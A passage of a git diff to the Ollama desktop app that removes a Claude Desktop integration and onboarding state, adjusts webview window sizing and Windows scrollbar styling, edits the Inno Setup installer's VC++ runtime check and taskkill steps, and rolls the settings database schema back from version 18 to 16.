||||
for _, name := range []string{"Claude.app", "Claude.app/Contents/MacOS/Claude"} {
|
||||
if got, err := safeClaudeDesktopArchivePath(name); err != nil || got != strings.TrimSuffix(name, "/") {
|
||||
t.Fatalf("safeClaudeDesktopArchivePath(%q) = %q, %v", name, got, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import "github.com/ollama/ollama/internal/proxy"
|
||||
|
||||
type claudeDesktopInstallResult string
|
||||
|
||||
const (
|
||||
claudeDesktopInstallCancelled claudeDesktopInstallResult = "cancelled"
|
||||
claudeDesktopInstallerOpened claudeDesktopInstallResult = "opened"
|
||||
claudeDesktopInstallFailed claudeDesktopInstallResult = "failed"
|
||||
)
|
||||
|
||||
type claudeDesktopStatus struct {
|
||||
Supported bool `json:"supported"`
|
||||
Used bool `json:"used"`
|
||||
Installed bool `json:"installed"`
|
||||
Configured bool `json:"configured"`
|
||||
Connected bool `json:"connected"`
|
||||
Running bool `json:"running"`
|
||||
StartFailed bool `json:"startFailed"`
|
||||
PortConflict bool `json:"portConflict"`
|
||||
GatewayPort int `json:"gatewayPort,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
ModelSource string `json:"modelSource,omitempty"`
|
||||
Models []claudeDesktopModelStatus `json:"models,omitempty"`
|
||||
}
|
||||
|
||||
type claudeDesktopModelStatus struct {
|
||||
Name string `json:"name"`
|
||||
DisplayName string `json:"displayName"`
|
||||
Description string `json:"description,omitempty"`
|
||||
Cloud bool `json:"cloud"`
|
||||
Selected bool `json:"selected"`
|
||||
Availability proxy.ClaudeDesktopAvailability `json:"availability"`
|
||||
Reason proxy.ClaudeDesktopAccessReason `json:"reason,omitempty"`
|
||||
RequiredPlan string `json:"requiredPlan,omitempty"`
|
||||
}
|
||||
|
||||
type claudeDesktopActionResult struct {
|
||||
Status claudeDesktopStatus `json:"status"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
@@ -16,7 +16,6 @@ import (
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
@@ -25,21 +24,11 @@ import (
|
||||
"github.com/ollama/ollama/app/webview"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultWindowWidth = 1360
|
||||
defaultWindowHeight = 960
|
||||
onboardingWindowWidth = 900
|
||||
onboardingWindowHeight = 660
|
||||
minimumWindowWidth = onboardingWindowWidth
|
||||
minimumWindowHeight = onboardingWindowHeight
|
||||
)
|
||||
|
||||
type Webview struct {
|
||||
port int
|
||||
token string
|
||||
webview webview.WebView
|
||||
mutex sync.Mutex
|
||||
onboarding atomic.Bool
|
||||
port int
|
||||
token string
|
||||
webview webview.WebView
|
||||
mutex sync.Mutex
|
||||
|
||||
Store *store.Store
|
||||
}
|
||||
@@ -99,32 +88,85 @@ func (w *Webview) Run(path string) unsafe.Pointer {
|
||||
// Windows-specific scrollbar styling
|
||||
if runtime.GOOS == "windows" {
|
||||
init += `
|
||||
// Keep Edge WebView2 scrollbars aligned with the light-only app theme.
|
||||
// Fix scrollbar styling for Edge WebView2 on Windows only
|
||||
function updateScrollbarStyles() {
|
||||
const isDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
|
||||
const existingStyle = document.getElementById('scrollbar-style');
|
||||
if (existingStyle) existingStyle.remove();
|
||||
|
||||
|
||||
const style = document.createElement('style');
|
||||
style.id = 'scrollbar-style';
|
||||
style.textContent = ` + "`" + `
|
||||
::-webkit-scrollbar { width: 6px !important; height: 6px !important; }
|
||||
::-webkit-scrollbar-track { background: #f0f0f0 !important; }
|
||||
::-webkit-scrollbar-thumb { background: #c0c0c0 !important; border-radius: 6px !important; }
|
||||
::-webkit-scrollbar-thumb:hover { background: #a0a0a0 !important; }
|
||||
::-webkit-scrollbar-corner { background: #f0f0f0 !important; }
|
||||
::-webkit-scrollbar-button {
|
||||
background: transparent !important;
|
||||
border: none !important;
|
||||
width: 0px !important;
|
||||
height: 0px !important;
|
||||
margin: 0 !important;
|
||||
padding: 0 !important;
|
||||
}
|
||||
` + "`" + `;
|
||||
|
||||
if (isDark) {
|
||||
style.textContent = ` + "`" + `
|
||||
::-webkit-scrollbar { width: 6px !important; height: 6px !important; }
|
||||
::-webkit-scrollbar-track { background: #1a1a1a !important; }
|
||||
::-webkit-scrollbar-thumb { background: #404040 !important; border-radius: 6px !important; }
|
||||
::-webkit-scrollbar-thumb:hover { background: #505050 !important; }
|
||||
::-webkit-scrollbar-corner { background: #1a1a1a !important; }
|
||||
::-webkit-scrollbar-button {
|
||||
background: transparent !important;
|
||||
border: none !important;
|
||||
width: 0px !important;
|
||||
height: 0px !important;
|
||||
margin: 0 !important;
|
||||
padding: 0 !important;
|
||||
}
|
||||
::-webkit-scrollbar-button:vertical:start:decrement {
|
||||
background: transparent !important;
|
||||
height: 0px !important;
|
||||
}
|
||||
::-webkit-scrollbar-button:vertical:end:increment {
|
||||
background: transparent !important;
|
||||
height: 0px !important;
|
||||
}
|
||||
::-webkit-scrollbar-button:horizontal:start:decrement {
|
||||
background: transparent !important;
|
||||
width: 0px !important;
|
||||
}
|
||||
::-webkit-scrollbar-button:horizontal:end:increment {
|
||||
background: transparent !important;
|
||||
width: 0px !important;
|
||||
}
|
||||
` + "`" + `;
|
||||
} else {
|
||||
style.textContent = ` + "`" + `
|
||||
::-webkit-scrollbar { width: 6px !important; height: 6px !important; }
|
||||
::-webkit-scrollbar-track { background: #f0f0f0 !important; }
|
||||
::-webkit-scrollbar-thumb { background: #c0c0c0 !important; border-radius: 6px !important; }
|
||||
::-webkit-scrollbar-thumb:hover { background: #a0a0a0 !important; }
|
||||
::-webkit-scrollbar-corner { background: #f0f0f0 !important; }
|
||||
::-webkit-scrollbar-button {
|
||||
background: transparent !important;
|
||||
border: none !important;
|
||||
width: 0px !important;
|
||||
height: 0px !important;
|
||||
margin: 0 !important;
|
||||
padding: 0 !important;
|
||||
}
|
||||
::-webkit-scrollbar-button:vertical:start:decrement {
|
||||
background: transparent !important;
|
||||
height: 0px !important;
|
||||
}
|
||||
::-webkit-scrollbar-button:vertical:end:increment {
|
||||
background: transparent !important;
|
||||
height: 0px !important;
|
||||
}
|
||||
::-webkit-scrollbar-button:horizontal:start:decrement {
|
||||
background: transparent !important;
|
||||
width: 0px !important;
|
||||
}
|
||||
::-webkit-scrollbar-button:horizontal:end:increment {
|
||||
background: transparent !important;
|
||||
width: 0px !important;
|
||||
}
|
||||
` + "`" + `;
|
||||
}
|
||||
document.head.appendChild(style);
|
||||
}
|
||||
|
||||
|
||||
window.addEventListener('load', updateScrollbarStyles);
|
||||
window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', updateScrollbarStyles);
|
||||
`
|
||||
}
|
||||
// on windows make ctrl+n open new chat
|
||||
@@ -145,32 +187,15 @@ func (w *Webview) Run(path string) unsafe.Pointer {
|
||||
`
|
||||
}
|
||||
|
||||
init += fmt.Sprintf(`
|
||||
window.OLLAMA_PLATFORM = %q;
|
||||
init += `
|
||||
window.OLLAMA_WEBSEARCH = true;
|
||||
`, runtime.GOOS)
|
||||
`
|
||||
|
||||
wv.Init(init)
|
||||
|
||||
// Add keyboard handler for zoom
|
||||
wv.Init(`
|
||||
window.addEventListener('keydown', function(e) {
|
||||
const isZoomShortcut = (e.metaKey || e.ctrlKey) && (
|
||||
e.key === '+' || e.key === '=' || e.key === '-' ||
|
||||
e.key === '_' || e.key === '0' ||
|
||||
e.code === 'NumpadAdd' || e.code === 'NumpadSubtract'
|
||||
);
|
||||
|
||||
// Keep fixed-scale onboarding and apps pages at their intended size.
|
||||
const isFixedScalePage =
|
||||
window.location.pathname === '/onboarding' ||
|
||||
window.location.pathname === '/connect';
|
||||
if (isFixedScalePage && isZoomShortcut) {
|
||||
e.preventDefault();
|
||||
e.stopImmediatePropagation();
|
||||
return false;
|
||||
}
|
||||
|
||||
// CMD/Ctrl + Plus/Equals (zoom in)
|
||||
if ((e.metaKey || e.ctrlKey) && (e.key === '+' || e.key === '=')) {
|
||||
e.preventDefault();
|
||||
@@ -212,41 +237,10 @@ func (w *Webview) Run(path string) unsafe.Pointer {
|
||||
showWindow(wv.Window())
|
||||
})
|
||||
|
||||
wv.Bind("activateOllama", func() {
|
||||
showWindow(wv.Window())
|
||||
})
|
||||
|
||||
bindClaudeDesktop(wv)
|
||||
|
||||
wv.Bind("close", func() {
|
||||
hideWindow(wv.Window())
|
||||
})
|
||||
|
||||
wv.Bind("setOnboardingWindow", func(enabled bool) {
|
||||
w.onboarding.Store(enabled)
|
||||
wv.Dispatch(func() {
|
||||
if enabled {
|
||||
wv.SetSize(onboardingWindowWidth, onboardingWindowHeight, webview.HintFixed)
|
||||
setOnboardingWindowStyle(wv.Window(), true)
|
||||
return
|
||||
}
|
||||
|
||||
width, height := defaultWindowWidth, defaultWindowHeight
|
||||
if w.Store != nil {
|
||||
storedWidth, storedHeight, err := w.Store.WindowSize()
|
||||
if err != nil {
|
||||
slog.Error("failed to restore window size", "error", err)
|
||||
} else if storedWidth > 0 && storedHeight > 0 {
|
||||
width, height = storedWidth, storedHeight
|
||||
}
|
||||
}
|
||||
|
||||
wv.SetSize(width, height, webview.HintNone)
|
||||
wv.SetSize(minimumWindowWidth, minimumWindowHeight, webview.HintMin)
|
||||
setOnboardingWindowStyle(wv.Window(), false)
|
||||
})
|
||||
})
|
||||
|
||||
// Webviews do not allow access to the file system by default, so we need to
|
||||
// bind file system operations here
|
||||
wv.Bind("selectModelsDirectory", func() {
|
||||
@@ -456,18 +450,18 @@ func (w *Webview) Run(path string) unsafe.Pointer {
|
||||
}()
|
||||
}
|
||||
|
||||
width, height := defaultWindowWidth, defaultWindowHeight
|
||||
if w.Store != nil {
|
||||
storedWidth, storedHeight, err := w.Store.WindowSize()
|
||||
width, height, err := w.Store.WindowSize()
|
||||
if err != nil {
|
||||
slog.Error("failed to get window size", "error", err)
|
||||
}
|
||||
if storedWidth > 0 && storedHeight > 0 {
|
||||
width, height = storedWidth, storedHeight
|
||||
if width > 0 && height > 0 {
|
||||
wv.SetSize(width, height, webview.HintNone)
|
||||
} else {
|
||||
wv.SetSize(800, 600, webview.HintNone)
|
||||
}
|
||||
}
|
||||
wv.SetSize(width, height, webview.HintNone)
|
||||
wv.SetSize(minimumWindowWidth, minimumWindowHeight, webview.HintMin)
|
||||
wv.SetSize(800, 600, webview.HintMin)
|
||||
|
||||
w.webview = wv
|
||||
w.webview.Navigate(url)
|
||||
@@ -482,7 +476,6 @@ func (w *Webview) Run(path string) unsafe.Pointer {
|
||||
}
|
||||
|
||||
func (w *Webview) Terminate() {
|
||||
w.onboarding.Store(false)
|
||||
w.mutex.Lock()
|
||||
if w.webview == nil {
|
||||
w.mutex.Unlock()
|
||||
@@ -496,10 +489,6 @@ func (w *Webview) Terminate() {
|
||||
wv.Destroy()
|
||||
}
|
||||
|
||||
func (w *Webview) OnboardingActive() bool {
|
||||
return w.onboarding.Load()
|
||||
}
|
||||
|
||||
func (w *Webview) IsRunning() bool {
|
||||
w.mutex.Lock()
|
||||
defer w.mutex.Unlock()
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!-- Generated by Pixelmator Pro 3.6.17 -->
|
||||
<svg width="1200" height="1200" viewBox="0 0 1200 1200" xmlns="http://www.w3.org/2000/svg">
|
||||
<g id="g314">
|
||||
<path id="path147" fill="#d97757" stroke="none" d="M 233.959793 800.214905 L 468.644287 668.536987 L 472.590637 657.100647 L 468.644287 650.738403 L 457.208069 650.738403 L 417.986633 648.322144 L 283.892639 644.69812 L 167.597321 639.865845 L 54.926208 633.825623 L 26.577238 627.785339 L 3.3e-05 592.751709 L 2.73832 575.27533 L 26.577238 559.248352 L 60.724873 562.228149 L 136.187973 567.382629 L 249.422867 575.194763 L 331.570496 580.026978 L 453.261841 592.671082 L 472.590637 592.671082 L 475.328857 584.859009 L 468.724915 580.026978 L 463.570557 575.194763 L 346.389313 495.785217 L 219.543671 411.865906 L 153.100723 363.543762 L 117.181267 339.060425 L 99.060455 316.107361 L 91.248367 266.01355 L 123.865784 230.093994 L 167.677887 233.073853 L 178.872513 236.053772 L 223.248367 270.201477 L 318.040283 343.570496 L 441.825592 434.738342 L 459.946411 449.798706 L 467.194672 444.64447 L 468.080597 441.020203 L 459.946411 427.409485 L 392.617493 305.718323 L 320.778564 181.932983 L 288.80542 130.630859 L 280.348999 99.865845 C 277.369171 87.221436 275.194641 76.590698 275.194641 63.624268 L 312.322174 13.20813 L 332.8591 6.604126 L 382.389313 13.20813 L 403.248352 31.328979 L 434.013519 101.71814 L 483.865753 212.537048 L 561.181274 363.221497 L 583.812134 407.919434 L 595.892639 449.315491 L 600.40271 461.959839 L 608.214783 461.959839 L 608.214783 454.711609 L 614.577271 369.825623 L 626.335632 265.61084 L 637.771851 131.516846 L 641.718201 93.745117 L 660.402832 48.483276 L 697.530334 24.000122 L 726.52356 37.852417 L 750.362549 72 L 747.060486 94.067139 L 732.886047 186.201416 L 705.100708 330.52356 L 686.979919 427.167847 L 697.530334 427.167847 L 709.61084 415.087341 L 758.496704 350.174561 L 840.644348 247.490051 L 876.885925 206.738342 L 919.167847 161.71814 L 946.308838 140.29541 L 997.61084 140.29541 L 1035.38269 196.429626 L 1018.469849 254.416199 L 965.637634 321.422852 L 921.825562 378.201538 L 859.006714 462.765259 L 819.785278 530.41626 L 823.409424 535.812073 L 832.75177 534.92627 L 974.657776 504.724915 L 1051.328979 490.872559 L 1142.818848 475.167786 L 1184.214844 494.496582 L 1188.724854 514.147644 L 1172.456421 554.335693 L 1074.604126 578.496765 L 959.838989 601.449829 L 788.939636 641.879272 L 786.845764 643.409485 L 789.261841 646.389343 L 866.255127 653.637634 L 899.194702 655.409424 L 979.812134 655.409424 L 1129.932861 666.604187 L 1169.154419 692.537109 L 1192.671265 724.268677 L 1188.724854 748.429688 L 1128.322144 779.194641 L 1046.818848 759.865845 L 856.590759 714.604126 L 791.355774 698.335754 L 782.335693 698.335754 L 782.335693 703.731567 L 836.69812 756.885986 L 936.322205 846.845581 L 1061.073975 962.81897 L 1067.436279 991.490112 L 1051.409424 1014.120911 L 1034.496704 1011.704712 L 924.885986 929.234924 L 882.604126 892.107544 L 786.845764 811.48999 L 780.483276 811.48999 L 780.483276 819.946289 L 802.550415 852.241699 L 919.087341 1027.409424 L 925.127625 1081.127686 L 916.671204 1098.604126 L 886.469849 1109.154419 L 853.288696 1103.114136 L 785.073914 1007.355835 L 714.684631 899.516785 L 657.906067 802.872498 L 650.979858 806.81897 L 617.476624 1167.704834 L 601.771851 1186.147705 L 565.530212 1200 L 535.328857 1177.046997 L 519.302124 1139.919556 L 535.328857 1066.550537 L 554.657776 970.792053 L 570.362488 894.68457 L 584.536926 800.134277 L 592.993347 768.724976 L 592.429626 766.630859 L 585.503479 767.516968 L 514.22821 865.369263 L 405.825531 1011.865906 L 320.053711 1103.677979 L 299.516815 1111.812256 L 263.919525 1093.369263 L 267.221497 1060.429688 L 287.114136 1031.114136 L 405.825531 880.107361 L 477.422913 786.52356 L 523.651062 732.483276 L 523.328918 724.671265 L 520.590698 724.671265 L 205.288605 929.395935 L 149.154434 936.644409 L 124.993355 914.01355 L 127.973183 876.885986 L 139.409409 864.80542 L 234.201385 799.570435 L 233.879227 799.8927 Z"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 4.0 KiB |
@@ -143,13 +143,13 @@ func utf16ptr(utf16 []uint16) *uint16 {
|
||||
|
||||
func utf16slice(ptr *uint16) []uint16 { //nolint:unused
|
||||
hdr := reflect.SliceHeader{Data: uintptr(unsafe.Pointer(ptr)), Len: 1, Cap: 1}
|
||||
slice := *(*[]uint16)(unsafe.Pointer(&hdr)) //nolint:govet
|
||||
slice := *((*[]uint16)(unsafe.Pointer(&hdr))) //nolint:govet
|
||||
i := 0
|
||||
for slice[len(slice)-1] != 0 {
|
||||
i++
|
||||
}
|
||||
hdr.Len = i
|
||||
slice = *(*[]uint16)(unsafe.Pointer(&hdr)) //nolint:govet
|
||||
slice = *((*[]uint16)(unsafe.Pointer(&hdr))) //nolint:govet
|
||||
return slice
|
||||
}
|
||||
|
||||
|
||||
@@ -14,7 +14,6 @@
|
||||
#define MyAppPublisher "Ollama"
|
||||
#define MyAppURL "https://ollama.com/"
|
||||
#define MyAppExeName "ollama app.exe"
|
||||
#define LlamaServerExeName "llama-server.exe"
|
||||
#define MyIcon ".\assets\app.ico"
|
||||
|
||||
[Setup]
|
||||
@@ -91,8 +90,9 @@ DialogFontSize=12
|
||||
[Files]
|
||||
#if FileExists("..\dist\windows-ollama-app-amd64.exe")
|
||||
Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
|
||||
Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
|
||||
Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
|
||||
Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
#endif
|
||||
|
||||
; For local development, rely on binary compatibility at runtime since we can't cross compile
|
||||
@@ -103,11 +103,9 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
|
||||
#endif
|
||||
|
||||
#if FileExists("..\dist\windows-arm64\ollama.exe")
|
||||
Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
|
||||
Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
|
||||
#endif
|
||||
#if DirExists("..\dist\windows-arm64\lib\ollama")
|
||||
Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
#endif
|
||||
|
||||
Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
|
||||
|
||||
@@ -120,6 +118,12 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
|
||||
Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
|
||||
|
||||
[Run]
|
||||
#if DirExists("..\dist\windows-arm64")
|
||||
Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
|
||||
#endif
|
||||
#if DirExists("..\dist\windows-amd64")
|
||||
Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
|
||||
#endif
|
||||
Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
|
||||
|
||||
[UninstallRun]
|
||||
@@ -127,7 +131,6 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
|
||||
; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
|
||||
; HACK! need to give the server and app enough time to exit
|
||||
; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
|
||||
Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
|
||||
@@ -181,6 +184,46 @@ begin
|
||||
Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
|
||||
end;
|
||||
|
||||
{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
|
||||
const VCRTL_MIN_V1 = 14;
|
||||
const VCRTL_MIN_V2 = 40;
|
||||
const VCRTL_MIN_V3 = 33807;
|
||||
const VCRTL_MIN_V4 = 0;
|
||||
|
||||
// check if the minimum required vc redist is installed (by looking the registry)
|
||||
function vc_redist_needed (): Boolean;
|
||||
var
|
||||
sRegKey: string;
|
||||
v1: Cardinal;
|
||||
v2: Cardinal;
|
||||
v3: Cardinal;
|
||||
v4: Cardinal;
|
||||
begin
|
||||
if (IsArm64()) then begin
|
||||
sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
|
||||
end else begin
|
||||
sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
|
||||
end;
|
||||
if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
|
||||
begin
|
||||
Log ('VC Redist version: ' + IntToStr (v1) +
|
||||
'.' + IntToStr (v2) + '.' + IntToStr (v3) +
|
||||
'.' + IntToStr (v4));
|
||||
{ Version info was found. Return true if later or equal to our
|
||||
minimal required version RTL_MIN_Vx }
|
||||
Result := not (
|
||||
(v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
|
||||
((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
|
||||
((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
|
||||
(v4 >= VCRTL_MIN_V4)))))));
|
||||
end
|
||||
else
|
||||
Result := TRUE;
|
||||
end;
|
||||
|
||||
function GetDirSize(Path: String): Int64;
|
||||
var
|
||||
FindRec: TFindRec;
|
||||
@@ -327,8 +370,5 @@ procedure TaskKill(FileName: String);
|
||||
var
|
||||
ResultCode: Integer;
|
||||
begin
|
||||
Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
if FileName <> '{#LlamaServerExeName}' then begin
|
||||
Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
end;
|
||||
Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
end;
|
||||
@@ -164,7 +164,7 @@ func reapServers() error {
|
||||
continue
|
||||
}
|
||||
|
||||
cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
|
||||
cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
|
||||
if err := cmd.Run(); err != nil {
|
||||
slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
|
||||
}
|
||||
|
||||
@@ -14,7 +14,7 @@ import (
|
||||
|
||||
// currentSchemaVersion defines the current database schema version.
|
||||
// Increment this when making schema changes that require migrations.
|
||||
const currentSchemaVersion = 18
|
||||
const currentSchemaVersion = 16
|
||||
|
||||
// database wraps the SQLite connection.
|
||||
// SQLite handles its own locking for concurrent access:
|
||||
@@ -82,14 +82,12 @@ func (db *database) init() error {
|
||||
websearch_enabled BOOLEAN NOT NULL DEFAULT 0,
|
||||
selected_model TEXT NOT NULL DEFAULT '',
|
||||
sidebar_open BOOLEAN NOT NULL DEFAULT 0,
|
||||
last_home_view TEXT NOT NULL DEFAULT 'chat',
|
||||
onboarding_version INTEGER NOT NULL DEFAULT 0,
|
||||
last_home_view TEXT NOT NULL DEFAULT 'launch',
|
||||
think_enabled BOOLEAN NOT NULL DEFAULT 0,
|
||||
think_level TEXT NOT NULL DEFAULT '',
|
||||
cloud_setting_migrated BOOLEAN NOT NULL DEFAULT 0,
|
||||
remote TEXT NOT NULL DEFAULT '', -- deprecated
|
||||
auto_update_enabled BOOLEAN NOT NULL DEFAULT 1,
|
||||
claude_desktop_used BOOLEAN NOT NULL DEFAULT 0,
|
||||
schema_version INTEGER NOT NULL DEFAULT %d
|
||||
);
|
||||
|
||||
@@ -273,18 +271,6 @@ func (db *database) migrate() error {
|
||||
return fmt.Errorf("migrate v15 to v16: %w", err)
|
||||
}
|
||||
version = 16
|
||||
case 16:
|
||||
// Existing users should not be shown onboarding after an upgrade.
|
||||
if err := db.migrateV16ToV17(); err != nil {
|
||||
return fmt.Errorf("migrate v16 to v17: %w", err)
|
||||
}
|
||||
version = 17
|
||||
case 17:
|
||||
// Remember that Claude Desktop has been connected at least once.
|
||||
if err := db.migrateV17ToV18(); err != nil {
|
||||
return fmt.Errorf("migrate v17 to v18: %w", err)
|
||||
}
|
||||
version = 18
|
||||
default:
|
||||
// If we have a version we don't recognize, just set it to current
|
||||
// This might happen during development
|
||||
@@ -541,7 +527,7 @@ func (db *database) migrateV14ToV15() error {
|
||||
|
||||
// migrateV15ToV16 adds the last_home_view column to the settings table
|
||||
func (db *database) migrateV15ToV16() error {
|
||||
_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN last_home_view TEXT NOT NULL DEFAULT 'chat'`)
|
||||
_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN last_home_view TEXT NOT NULL DEFAULT 'launch'`)
|
||||
if err != nil && !duplicateColumnError(err) {
|
||||
return fmt.Errorf("add last_home_view column: %w", err)
|
||||
}
|
||||
@@ -554,38 +540,6 @@ func (db *database) migrateV15ToV16() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateV16ToV17 adds versioned onboarding state. The schema default stays at
|
||||
// zero for genuinely new installs, while all existing rows are marked complete
|
||||
// and moved off the retired launch home view.
|
||||
func (db *database) migrateV16ToV17() error {
|
||||
_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN onboarding_version INTEGER NOT NULL DEFAULT 0`)
|
||||
if err != nil && !duplicateColumnError(err) {
|
||||
return fmt.Errorf("add onboarding_version column: %w", err)
|
||||
}
|
||||
|
||||
_, err = db.conn.Exec(`UPDATE settings SET onboarding_version = 1, last_home_view = 'chat', schema_version = 17`)
|
||||
if err != nil {
|
||||
return fmt.Errorf("complete onboarding for existing users: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateV17ToV18 adds durable Claude Desktop integration history.
|
||||
func (db *database) migrateV17ToV18() error {
|
||||
_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN claude_desktop_used BOOLEAN NOT NULL DEFAULT 0`)
|
||||
if err != nil && !duplicateColumnError(err) {
|
||||
return fmt.Errorf("add claude_desktop_used column: %w", err)
|
||||
}
|
||||
|
||||
_, err = db.conn.Exec(`UPDATE settings SET schema_version = 18`)
|
||||
if err != nil {
|
||||
return fmt.Errorf("update schema version: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// cleanupOrphanedData removes orphaned records that may exist due to the foreign key bug
|
||||
func (db *database) cleanupOrphanedData() error {
|
||||
_, err := db.conn.Exec(`
|
||||
@@ -1234,9 +1188,9 @@ func (db *database) getSettings() (Settings, error) {
|
||||
var s Settings
|
||||
|
||||
err := db.conn.QueryRow(`
|
||||
SELECT expose, survey, browser, models, agent, tools, working_dir, context_length, turbo_enabled, websearch_enabled, selected_model, sidebar_open, last_home_view, onboarding_version, think_enabled, think_level, auto_update_enabled, claude_desktop_used
|
||||
SELECT expose, survey, browser, models, agent, tools, working_dir, context_length, turbo_enabled, websearch_enabled, selected_model, sidebar_open, last_home_view, think_enabled, think_level, auto_update_enabled
|
||||
FROM settings
|
||||
`).Scan(&s.Expose, &s.Survey, &s.Browser, &s.Models, &s.Agent, &s.Tools, &s.WorkingDir, &s.ContextLength, &s.TurboEnabled, &s.WebSearchEnabled, &s.SelectedModel, &s.SidebarOpen, &s.LastHomeView, &s.OnboardingVersion, &s.ThinkEnabled, &s.ThinkLevel, &s.AutoUpdateEnabled, &s.ClaudeDesktopUsed)
|
||||
`).Scan(&s.Expose, &s.Survey, &s.Browser, &s.Models, &s.Agent, &s.Tools, &s.WorkingDir, &s.ContextLength, &s.TurboEnabled, &s.WebSearchEnabled, &s.SelectedModel, &s.SidebarOpen, &s.LastHomeView, &s.ThinkEnabled, &s.ThinkLevel, &s.AutoUpdateEnabled)
|
||||
if err != nil {
|
||||
return Settings{}, fmt.Errorf("get settings: %w", err)
|
||||
}
|
||||
@@ -1246,14 +1200,27 @@ func (db *database) getSettings() (Settings, error) {
|
||||
|
||||
func (db *database) setSettings(s Settings) error {
|
||||
lastHomeView := strings.ToLower(strings.TrimSpace(s.LastHomeView))
|
||||
validLaunchView := map[string]struct{}{
|
||||
"launch": {},
|
||||
"openclaw": {},
|
||||
"claude": {},
|
||||
"hermes": {},
|
||||
"codex": {},
|
||||
"copilot": {},
|
||||
"opencode": {},
|
||||
"droid": {},
|
||||
"pi": {},
|
||||
}
|
||||
if lastHomeView != "chat" {
